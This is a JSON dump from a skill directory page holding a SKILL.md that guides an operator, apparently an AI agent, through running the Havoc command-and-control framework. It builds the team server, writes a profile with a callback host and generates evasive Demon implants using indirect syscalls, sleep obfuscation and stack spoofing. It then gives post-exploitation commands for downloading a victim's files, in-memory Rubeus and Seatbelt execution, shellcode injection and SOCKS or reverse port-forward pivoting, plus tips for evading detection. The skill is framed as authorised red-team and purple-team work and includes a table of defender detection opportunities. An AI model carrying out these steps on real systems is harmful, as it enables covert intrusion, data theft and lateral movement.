[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFJ3RPMAKNAAX429HVR5PT":3,"skill-same:01M6AFJ3RPMAKNAAX429HVR5PT":110},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":57,"commitSha":58,"skillDirectory":59,"forksCount":60,"repositoryHtmlUrl":61,"repositoryHomepageUrl":62,"ownerHtmlUrl":63,"ownerBlogUrl":64,"ownerDescription":65,"updatedAt":66,"install":67,"resources":80},"01M6AFJ3RPMAKNAAX429HVR5PT","operating-havoc-c2",null,"Deploy a Havoc C2 team server with Yaotl malleable profiles, generate evasive Demon agents using indirect syscalls and sleep obfuscation, and run post-exploitation and pivoting operations. Use during authorized, rules-of-engagement-bound red-team engagements for adversary emulation requiring a full C2 lifecycle (server setup, evasive implant generation, tasking, and lateral pivoting).","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Foperating-havoc-c2\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"operating havoc c2","c2","adversary-emulation","sleep-obfuscation","evasion","havoc","lifecycle","rules-of-engagement","obfuscation","exploitation","demon-agent","cybersecurity","command-and-control","post-exploitation","red-team","server","run","generate","setup","deploy","2026-11-10 10:12:30",false,"---\nname: operating-havoc-c2\ndescription: Deploy a Havoc C2 team server with Yaotl malleable profiles, generate evasive Demon agents using indirect syscalls and sleep obfuscation, and run post-exploitation and pivoting operations. Use during authorized, rules-of-engagement-bound red-team engagements for adversary emulation requiring a full C2 lifecycle (server setup, evasive implant generation, tasking, and lateral pivoting).\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- command-and-control\n- havoc\n- demon-agent\n- adversary-emulation\n- evasion\n- post-exploitation\n- sleep-obfuscation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\nmitre_attack:\n- T1071.001\n---\n# Operating Havoc C2\n\n> **Legal Notice:** This skill is for authorized security testing, sanctioned red-team engagements, and education only. Deploying a C2 framework or its agents against systems you do not own or lack explicit written authorization to test is illegal. Operate strictly within a signed rules-of-engagement document.\n\n## Overview\n\nHavoc is an open-source, modern command-and-control framework created by `@C5pider` (https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc). Its primary implant, the **Demon**, is written in C and assembly and was designed from the ground up for evasion: it supports indirect syscalls (Hell's Gate \u002F Halo's Gate), return-address and stack spoofing, and sleep obfuscation techniques (Ekko \u002F FOLIAGE) that encrypt the agent in memory while it sleeps. The **team server** is the backend that starts listeners, queues tasks, manages agent check-ins, and brokers operator connections over an encrypted WebSocket. Operators connect with the Havoc **client**, a Qt GUI.\n\nHavoc's behavior is driven by a **Yaotl profile** — a configuration language forked from HashiCorp's HCL — which defines the team server, operators, listeners, and Demon defaults. Because Havoc has been observed in real intrusions and is favored for its evasion features, exercising it during authorized engagements is valuable for emulating advanced adversary tradecraft and for testing whether EDR and network sensors detect its HTTP(S) C2 and in-memory techniques. This skill covers building Havoc, writing a profile, launching the team server, generating Demon agents, and running post-exploitation and lateral movement.\n\n## When to Use\n\n- When an authorized red-team engagement calls for an evasive, GUI-driven C2\n- When emulating an adversary that uses Havoc\u002FDemon (per threat intelligence) in a purple-team exercise\n- When validating EDR detection of indirect syscalls, sleep obfuscation, and stack spoofing\n- When demonstrating post-exploitation impact and lateral movement for a report\n\n## Prerequisites\n\n- A dedicated Linux host (Debian\u002FUbuntu\u002FKali) for the team server\n- Go 1.18+ for the team server; Python 3.10 and Qt5 libraries for the client\n- mingw-w64 and nasm for cross-compiling the Demon for Windows targets\n- Signed authorization \u002F rules of engagement\n\nInstall dependencies and build from source:\n\n```bash\n# Clone the framework\ngit clone https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc.git\ncd Havoc\n\n# Debian\u002FUbuntu\u002FKali build dependencies\nsudo apt update && sudo apt install -y \\\n  git build-essential cmake libfontconfig1 libglu1-mesa-dev libgtest-dev \\\n  libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \\\n  libreadline-dev libffi-dev libsqlite3-dev libbz2-dev qtbase5-dev qtchooser \\\n  qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \\\n  qtdeclarative5-dev golang-go python3.10 python3.10-dev mingw-w64 nasm\n\n# Build the team server\nmake ts-build\n\n# Build the client\nmake client-build\n```\n\n## Objectives\n\n- Author a Yaotl profile defining team server, operators, and a listener\n- Launch the Havoc team server and connect with the client\n- Create an HTTP(S) listener\n- Generate an evasive Demon agent (EXE \u002F shellcode) with sleep obfuscation\n- Interact with the Demon and run post-exploitation commands\n- Execute .NET assemblies and BOFs in-memory\n- Pivot through the beachhead via SOCKS and port forwarding\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Use in this skill |\n|----|-----------|-------------------|\n| T1071.001 | Application Layer Protocol: Web Protocols | The Demon's HTTP(S) listener carries C2 over web protocols to blend with normal traffic |\n\nRelated techniques exercised by the workflow:\n\n| ID | Technique |\n|----|-----------|\n| T1027.007 | Obfuscated Files or Information: Dynamic API Resolution (indirect syscalls) |\n| T1620 | Reflective Code Loading (in-memory .NET \u002F BOF) |\n| T1055 | Process Injection |\n| T1090.001 | Internal Proxy (SOCKS pivot) |\n\n## Workflow\n\n### Step 1: Write a Yaotl profile\n\nCreate `profiles\u002Fengagement.yaotl` defining the team server, an operator, and an HTTP listener. Yaotl is HCL-style:\n\n```hcl\nTeamserver {\n    Host = \"0.0.0.0\"\n    Port = 40056\n\n    Build {\n        Compiler64 = \"\u002Fusr\u002Fbin\u002Fx86_64-w64-mingw32-gcc\"\n        Nasm = \"\u002Fusr\u002Fbin\u002Fnasm\"\n    }\n}\n\nOperators {\n    user \"operator1\" {\n        Password = \"ChangeMe_Str0ng!\"\n    }\n}\n\nListeners {\n    Http {\n        Name     = \"https-listener\"\n        Hosts    = [\"c2.example.com\"]\n        HostBind = \"0.0.0.0\"\n        PortBind = 443\n        PortConn = 443\n        Secure   = true   # HTTPS\n    }\n}\n\nDemon {\n    Sleep = 30\n    Jitter = 25\n\n    TrustXForwardedFor = false\n\n    Injection {\n        Spawn64 = \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n        Spawn32 = \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\"\n    }\n}\n```\n\n### Step 2: Launch the team server\n\nRun the team server with your profile (privileged ports may require sudo):\n\n```bash\n# Verbose run with a custom profile\n.\u002Fhavoc server --profile profiles\u002Fengagement.yaotl -v\n\n# Add debug logging\n.\u002Fhavoc server --profile profiles\u002Fengagement.yaotl --verbose --debug\n```\n\n### Step 3: Connect with the client\n\nLaunch the Qt client and connect to the team server using the operator credentials from the profile:\n\n```bash\n.\u002Fhavoc client\n```\n\nIn the connect dialog: enter the team server host, port `40056`, operator name `operator1`, and the profile password. The Demon panel and listener views appear once connected.\n\n### Step 4: Create \u002F verify a listener\n\nThe HTTP listener defined in the profile loads automatically. To add another at runtime use **Listeners → Add** in the GUI and configure: Name, Hosts (callback domains\u002FIPs), HostBind, PortBind, PortConn, and whether it is Secure (HTTPS).\n\n### Step 5: Generate a Demon agent\n\nIn the GUI go to **Attack → Payload** and configure the Demon build:\n\n- **Listener:** `https-listener`\n- **Architecture:** `x64`\n- **Format:** `Windows Exe`, `Windows Dll`, or `Windows Shellcode`\n- **Sleep:** e.g., `30` seconds with jitter\n- **Indirect Syscalls:** Enabled (Hell's Gate \u002F Halo's Gate)\n- **Sleep Technique:** `Ekko` (encrypts agent memory during sleep)\n- **Stack Spoofing \u002F Proxy Loading:** Enabled\n- **Sleep Jmp Gadget:** as available\n\nClick **Generate** to produce the payload. Deliver it to the target through your authorized initial-access method.\n\n### Step 6: Interact with the Demon\n\nWhen a Demon checks in it appears in the session table. Right-click → **Interact** (or double-click) to open the console. Core post-exploitation commands:\n\n```\n# Situational awareness\nwhoami\npwd\nls\nps\nipconfig\nnet localgroup administrators\n\n# Token \u002F privilege\ngetprivs\ntoken list\n\n# File operations\ndownload C:\\Users\\victim\\Documents\\secrets.docx\nupload \u002Fopt\u002Ftools\u002Ftool.exe C:\\Windows\\Temp\\tool.exe\n```\n\n### Step 7: In-memory execution (.NET and BOFs)\n\nThe Demon supports in-memory execution of .NET assemblies and Beacon Object Files, avoiding disk writes:\n\n```\n# Execute a .NET assembly in-memory (e.g., Seatbelt, Rubeus)\ndotnet inline-execute \u002Fopt\u002Ftools\u002FSeatbelt.exe -group=system\n\n# Run a Beacon Object File\ninline-execute \u002Fopt\u002Fbofs\u002Fwhoami.o\n```\n\n### Step 8: Process injection and migration\n\n```\n# Inject shellcode into a spawned\u002Ftarget process\nshellcode inject x64 PID \u002Ftmp\u002Fpayload.bin\n\n# Run an assembly under a sacrificial process per profile Injection settings\nproc create C:\\Windows\\System32\\notepad.exe\n```\n\n### Step 9: Pivot into segmented networks\n\n```\n# Start a SOCKS5 proxy through the Demon for proxychains tooling\nsocks add 1080\n\n# Port forward (reverse) to reach an internal service\nrportfwd add 8443 10.0.5.20 443\n```\n\n### Step 10: Clean up\n\n```\n# Remove uploaded artifacts and exit the agent cleanly\nrm C:\\Windows\\Temp\\tool.exe\nexit\n```\n\nStop the team server (`Ctrl-C`) and revoke operator credentials at engagement end.\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| Havoc Framework | Source and releases | https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc |\n| Havoc Documentation | Official docs (teamserver, profiles, agent) | https:\u002F\u002Fhavocframework.com\u002Fdocs |\n| Havoc Profiles | Sample Yaotl profiles | https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\u002Ftree\u002Fmain\u002Fprofiles |\n| MITRE ATT&CK T1071.001 | Web Protocols | https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1071\u002F001\u002F |\n\n## OPSEC and Detection Considerations\n\n| Demon feature | Purpose | Defender detection opportunity |\n|---------------|---------|--------------------------------|\n| Indirect syscalls (Hell's\u002FHalo's Gate) | Bypass user-mode API hooks | Kernel ETW (Threat-Intelligence provider), call-stack anomalies |\n| Sleep obfuscation (Ekko) | Encrypt agent in memory while sleeping | Memory scanning between sleeps, timer-queue\u002FROP artifacts |\n| Stack spoofing | Hide implant in call stacks | Unbacked-memory thread start, spoofed-frame heuristics |\n| HTTP(S) C2 | Blend with web traffic | Beaconing periodicity, JA3\u002FTLS fingerprint, malleable headers |\n\n- Tune `Sleep` and `Jitter` high to reduce beacon regularity.\n- Front HTTP(S) listeners with nginx\u002FApache redirectors; never expose the team server IP.\n- Prefer in-memory `dotnet inline-execute` \u002F BOFs over spawning child processes.\n\n## Validation Criteria\n\n- [ ] Havoc team server and client built from source successfully\n- [ ] Yaotl profile authored with team server, operator, and HTTP(S) listener\n- [ ] Team server launched with the profile and operator connected via client\n- [ ] HTTP(S) listener active\n- [ ] Evasive Demon agent generated with sleep obfuscation and indirect syscalls\n- [ ] Demon checks in and post-exploitation commands run\n- [ ] A .NET assembly or BOF executed in-memory\n- [ ] SOCKS proxy or port-forward established for pivoting\n- [ ] Artifacts removed, agent exited, and team server stopped at cleanup\n","# Operating Havoc C2\n\n> **Legal Notice:** This skill is for authorized security testing, sanctioned red-team engagements, and education only. Deploying a C2 framework or its agents against systems you do not own or lack explicit written authorization to test is illegal. Operate strictly within a signed rules-of-engagement document.\n\n## Overview\n\nHavoc is an open-source, modern command-and-control framework created by `@C5pider` (https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc). Its primary implant, the **Demon**, is written in C and assembly and was designed from the ground up for evasion: it supports indirect syscalls (Hell's Gate \u002F Halo's Gate), return-address and stack spoofing, and sleep obfuscation techniques (Ekko \u002F FOLIAGE) that encrypt the agent in memory while it sleeps. The **team server** is the backend that starts listeners, queues tasks, manages agent check-ins, and brokers operator connections over an encrypted WebSocket. Operators connect with the Havoc **client**, a Qt GUI.\n\nHavoc's behavior is driven by a **Yaotl profile** — a configuration language forked from HashiCorp's HCL — which defines the team server, operators, listeners, and Demon defaults. Because Havoc has been observed in real intrusions and is favored for its evasion features, exercising it during authorized engagements is valuable for emulating advanced adversary tradecraft and for testing whether EDR and network sensors detect its HTTP(S) C2 and in-memory techniques. This skill covers building Havoc, writing a profile, launching the team server, generating Demon agents, and running post-exploitation and lateral movement.\n\n## When to Use\n\n- When an authorized red-team engagement calls for an evasive, GUI-driven C2\n- When emulating an adversary that uses Havoc\u002FDemon (per threat intelligence) in a purple-team exercise\n- When validating EDR detection of indirect syscalls, sleep obfuscation, and stack spoofing\n- When demonstrating post-exploitation impact and lateral movement for a report\n\n## Prerequisites\n\n- A dedicated Linux host (Debian\u002FUbuntu\u002FKali) for the team server\n- Go 1.18+ for the team server; Python 3.10 and Qt5 libraries for the client\n- mingw-w64 and nasm for cross-compiling the Demon for Windows targets\n- Signed authorization \u002F rules of engagement\n\nInstall dependencies and build from source:\n\n```bash\n# Clone the framework\ngit clone https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc.git\ncd Havoc\n\n# Debian\u002FUbuntu\u002FKali build dependencies\nsudo apt update && sudo apt install -y \\\n  git build-essential cmake libfontconfig1 libglu1-mesa-dev libgtest-dev \\\n  libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \\\n  libreadline-dev libffi-dev libsqlite3-dev libbz2-dev qtbase5-dev qtchooser \\\n  qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \\\n  qtdeclarative5-dev golang-go python3.10 python3.10-dev mingw-w64 nasm\n\n# Build the team server\nmake ts-build\n\n# Build the client\nmake client-build\n```\n\n## Objectives\n\n- Author a Yaotl profile defining team server, operators, and a listener\n- Launch the Havoc team server and connect with the client\n- Create an HTTP(S) listener\n- Generate an evasive Demon agent (EXE \u002F shellcode) with sleep obfuscation\n- Interact with the Demon and run post-exploitation commands\n- Execute .NET assemblies and BOFs in-memory\n- Pivot through the beachhead via SOCKS and port forwarding\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Use in this skill |\n|----|-----------|-------------------|\n| T1071.001 | Application Layer Protocol: Web Protocols | The Demon's HTTP(S) listener carries C2 over web protocols to blend with normal traffic |\n\nRelated techniques exercised by the workflow:\n\n| ID | Technique |\n|----|-----------|\n| T1027.007 | Obfuscated Files or Information: Dynamic API Resolution (indirect syscalls) |\n| T1620 | Reflective Code Loading (in-memory .NET \u002F BOF) |\n| T1055 | Process Injection |\n| T1090.001 | Internal Proxy (SOCKS pivot) |\n\n## Workflow\n\n### Step 1: Write a Yaotl profile\n\nCreate `profiles\u002Fengagement.yaotl` defining the team server, an operator, and an HTTP listener. Yaotl is HCL-style:\n\n```hcl\nTeamserver {\n    Host = \"0.0.0.0\"\n    Port = 40056\n\n    Build {\n        Compiler64 = \"\u002Fusr\u002Fbin\u002Fx86_64-w64-mingw32-gcc\"\n        Nasm = \"\u002Fusr\u002Fbin\u002Fnasm\"\n    }\n}\n\nOperators {\n    user \"operator1\" {\n        Password = \"ChangeMe_Str0ng!\"\n    }\n}\n\nListeners {\n    Http {\n        Name     = \"https-listener\"\n        Hosts    = [\"c2.example.com\"]\n        HostBind = \"0.0.0.0\"\n        PortBind = 443\n        PortConn = 443\n        Secure   = true   # HTTPS\n    }\n}\n\nDemon {\n    Sleep = 30\n    Jitter = 25\n\n    TrustXForwardedFor = false\n\n    Injection {\n        Spawn64 = \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n        Spawn32 = \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\"\n    }\n}\n```\n\n### Step 2: Launch the team server\n\nRun the team server with your profile (privileged ports may require sudo):\n\n```bash\n# Verbose run with a custom profile\n.\u002Fhavoc server --profile profiles\u002Fengagement.yaotl -v\n\n# Add debug logging\n.\u002Fhavoc server --profile profiles\u002Fengagement.yaotl --verbose --debug\n```\n\n### Step 3: Connect with the client\n\nLaunch the Qt client and connect to the team server using the operator credentials from the profile:\n\n```bash\n.\u002Fhavoc client\n```\n\nIn the connect dialog: enter the team server host, port `40056`, operator name `operator1`, and the profile password. The Demon panel and listener views appear once connected.\n\n### Step 4: Create \u002F verify a listener\n\nThe HTTP listener defined in the profile loads automatically. To add another at runtime use **Listeners → Add** in the GUI and configure: Name, Hosts (callback domains\u002FIPs), HostBind, PortBind, PortConn, and whether it is Secure (HTTPS).\n\n### Step 5: Generate a Demon agent\n\nIn the GUI go to **Attack → Payload** and configure the Demon build:\n\n- **Listener:** `https-listener`\n- **Architecture:** `x64`\n- **Format:** `Windows Exe`, `Windows Dll`, or `Windows Shellcode`\n- **Sleep:** e.g., `30` seconds with jitter\n- **Indirect Syscalls:** Enabled (Hell's Gate \u002F Halo's Gate)\n- **Sleep Technique:** `Ekko` (encrypts agent memory during sleep)\n- **Stack Spoofing \u002F Proxy Loading:** Enabled\n- **Sleep Jmp Gadget:** as available\n\nClick **Generate** to produce the payload. Deliver it to the target through your authorized initial-access method.\n\n### Step 6: Interact with the Demon\n\nWhen a Demon checks in it appears in the session table. Right-click → **Interact** (or double-click) to open the console. Core post-exploitation commands:\n\n```\n# Situational awareness\nwhoami\npwd\nls\nps\nipconfig\nnet localgroup administrators\n\n# Token \u002F privilege\ngetprivs\ntoken list\n\n# File operations\ndownload C:\\Users\\victim\\Documents\\secrets.docx\nupload \u002Fopt\u002Ftools\u002Ftool.exe C:\\Windows\\Temp\\tool.exe\n```\n\n### Step 7: In-memory execution (.NET and BOFs)\n\nThe Demon supports in-memory execution of .NET assemblies and Beacon Object Files, avoiding disk writes:\n\n```\n# Execute a .NET assembly in-memory (e.g., Seatbelt, Rubeus)\ndotnet inline-execute \u002Fopt\u002Ftools\u002FSeatbelt.exe -group=system\n\n# Run a Beacon Object File\ninline-execute \u002Fopt\u002Fbofs\u002Fwhoami.o\n```\n\n### Step 8: Process injection and migration\n\n```\n# Inject shellcode into a spawned\u002Ftarget process\nshellcode inject x64 PID \u002Ftmp\u002Fpayload.bin\n\n# Run an assembly under a sacrificial process per profile Injection settings\nproc create C:\\Windows\\System32\\notepad.exe\n```\n\n### Step 9: Pivot into segmented networks\n\n```\n# Start a SOCKS5 proxy through the Demon for proxychains tooling\nsocks add 1080\n\n# Port forward (reverse) to reach an internal service\nrportfwd add 8443 10.0.5.20 443\n```\n\n### Step 10: Clean up\n\n```\n# Remove uploaded artifacts and exit the agent cleanly\nrm C:\\Windows\\Temp\\tool.exe\nexit\n```\n\nStop the team server (`Ctrl-C`) and revoke operator credentials at engagement end.\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| Havoc Framework | Source and releases | https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc |\n| Havoc Documentation | Official docs (teamserver, profiles, agent) | https:\u002F\u002Fhavocframework.com\u002Fdocs |\n| Havoc Profiles | Sample Yaotl profiles | https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\u002Ftree\u002Fmain\u002Fprofiles |\n| MITRE ATT&CK T1071.001 | Web Protocols | https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1071\u002F001\u002F |\n\n## OPSEC and Detection Considerations\n\n| Demon feature | Purpose | Defender detection opportunity |\n|---------------|---------|--------------------------------|\n| Indirect syscalls (Hell's\u002FHalo's Gate) | Bypass user-mode API hooks | Kernel ETW (Threat-Intelligence provider), call-stack anomalies |\n| Sleep obfuscation (Ekko) | Encrypt agent in memory while sleeping | Memory scanning between sleeps, timer-queue\u002FROP artifacts |\n| Stack spoofing | Hide implant in call stacks | Unbacked-memory thread start, spoofed-frame heuristics |\n| HTTP(S) C2 | Blend with web traffic | Beaconing periodicity, JA3\u002FTLS fingerprint, malleable headers |\n\n- Tune `Sleep` and `Jitter` high to reduce beacon regularity.\n- Front HTTP(S) listeners with nginx\u002FApache redirectors; never expose the team server IP.\n- Prefer in-memory `dotnet inline-execute` \u002F BOFs over spawning child processes.\n\n## Validation Criteria\n\n- [ ] Havoc team server and client built from source successfully\n- [ ] Yaotl profile authored with team server, operator, and HTTP(S) listener\n- [ ] Team server launched with the profile and operator connected via client\n- [ ] HTTP(S) listener active\n- [ ] Evasive Demon agent generated with sleep obfuscation and indirect syscalls\n- [ ] Demon checks in and post-exploitation commands run\n- [ ] A .NET assembly or BOF executed in-memory\n- [ ] SOCKS proxy or port-forward established for pivoting\n- [ ] Artifacts removed, agent exited, and team server stopped at cleanup\n",{"name":5,"tags":49,"author":50,"domain":35,"license":15,"version":51,"nist_csf":52,"subdomain":54,"description":7,"mitre_attack":55},[38,36,29,34,26,28,37,27],"mahipal","1.0",[53],"DE.CM-01","red-teaming",[56],"T1071.001","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Foperating-havoc-c2",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":68,"prompt":78,"zipAvailable":79},[69,72,75],{"tool":70,"command":71},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill operating-havoc-c2",{"tool":73,"command":74},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill operating-havoc-c2",{"tool":76,"command":77},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill operating-havoc-c2","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Foperating-havoc-c2\u002FSKILL.md",true,[81,87,92,96,100,104],{"path":82,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":86},"agents\u002Fopenai.yaml","REFERENCE","参考文档",321,"https:\u002F\u002Fgithub.com\u002Finernoro\u002Fprd_agent\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Freduce-adaptive-theme-risk\u002Fagents\u002Fopenai.yaml",{"path":88,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":90,"sourceHtmlUrl":91},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Foperating-havoc-c2\u002FLICENSE",{"path":93,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":94,"sourceHtmlUrl":95},"references\u002Fapi-reference.md",2273,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Foperating-havoc-c2\u002Freferences\u002Fapi-reference.md",{"path":97,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":98,"sourceHtmlUrl":99},"references\u002Fscoring-and-exceptions.md",4503,"https:\u002F\u002Fgithub.com\u002Finernoro\u002Fprd_agent\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Freduce-adaptive-theme-risk\u002Freferences\u002Fscoring-and-exceptions.md",{"path":101,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":102,"sourceHtmlUrl":103},"references\u002Fstandards.md",1438,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Foperating-havoc-c2\u002Freferences\u002Fstandards.md",{"path":105,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":108,"sourceHtmlUrl":109},"scripts\u002Fagent.py","SCRIPT","脚本",5975,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Foperating-havoc-c2\u002Fscripts\u002Fagent.py",[111,138,162,190,216,243],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":118,"publishedAt":44},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[117],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[119,120,121,122,123,35,124,125,126,127,128,129,130,131,132,133,134,135,136,137],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":139,"name":140,"nameZh":6,"description":141,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":142,"categories":143,"keywords":145,"publishedAt":44},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[144],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[146,134,147,148,123,149,35,126,150,151,152,153,154,155,156,157,158,159,160,161],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":163,"name":164,"nameZh":6,"description":165,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":166,"categories":167,"keywords":172,"publishedAt":44},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[168,171],{"categoryNo":169,"categoryName":170,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[156,173,174,175,176,35,177,178,150,179,180,181,182,183,184,185,186,187,188,189],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":191,"name":192,"nameZh":6,"description":193,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":194,"categories":195,"keywords":197,"publishedAt":44},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote 